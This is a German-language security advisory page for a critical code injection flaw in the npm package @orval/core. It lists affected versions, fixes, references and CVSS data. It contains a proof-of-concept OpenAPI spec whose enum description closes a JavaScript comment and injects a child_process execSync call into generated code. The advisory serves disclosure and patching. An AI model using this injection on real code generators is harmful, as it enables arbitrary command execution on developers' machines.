Kritisch
Orval has Code Injection via unsanitized x-enum-descriptions using JS comments
CVE-2026-23947 had an incomplete fix
While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.
Example:
yaml
openapi: 3.0.4
info:
title: Enum PoC
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
"200":
description: ok
content:
application/json:
schema:
$ref: "#/components/schemas/EvilEnum"
components:
schemas:
EvilEnum:
type: string
enum:
- PWNED
x-enumDescriptions:
# "pwned */ }; import('child_process').then(cp => cp.execSync('touch pwned')); const a = { /*"
- "pwned */ }; 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const a = { /*"Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | @orval/core | >= 7.19.0, < 7.21.0, >= 8.0.0, < 8.2.0 | 7.21.0, 8.2.0 |
Verweise
- https://github.com/orval-labs/orval/security/advisories/GHSA-gch2-phqh-fg9q
- https://github.com/orval-labs/orval/security/advisories/GHSA-h526-wf6g-67jv
- https://nvd.nist.gov/vuln/detail/CVE-2026-25141
- https://github.com/orval-labs/orval
- https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227
- https://github.com/orval-labs/orval/releases/tag/v7.21.0
- https://github.com/orval-labs/orval/releases/tag/v8.2.0
CVSS-Wert
-
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-84, CWE-94- Plattform
- npm
- Paket
@orval/core- Veröffentlicht
- 30.01.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-gch2-phqh-fg9q - CC BY 4.0
Schwachstellenhistorie: @orval/core
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 2
- Erste → letzte
- 01.2026 01.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
Veröffentlichungen pro Jahr
- 2026: 2
-
Orval has Code Injection via unsanitized x-enum-descriptions using JS comments dieser Eintrag
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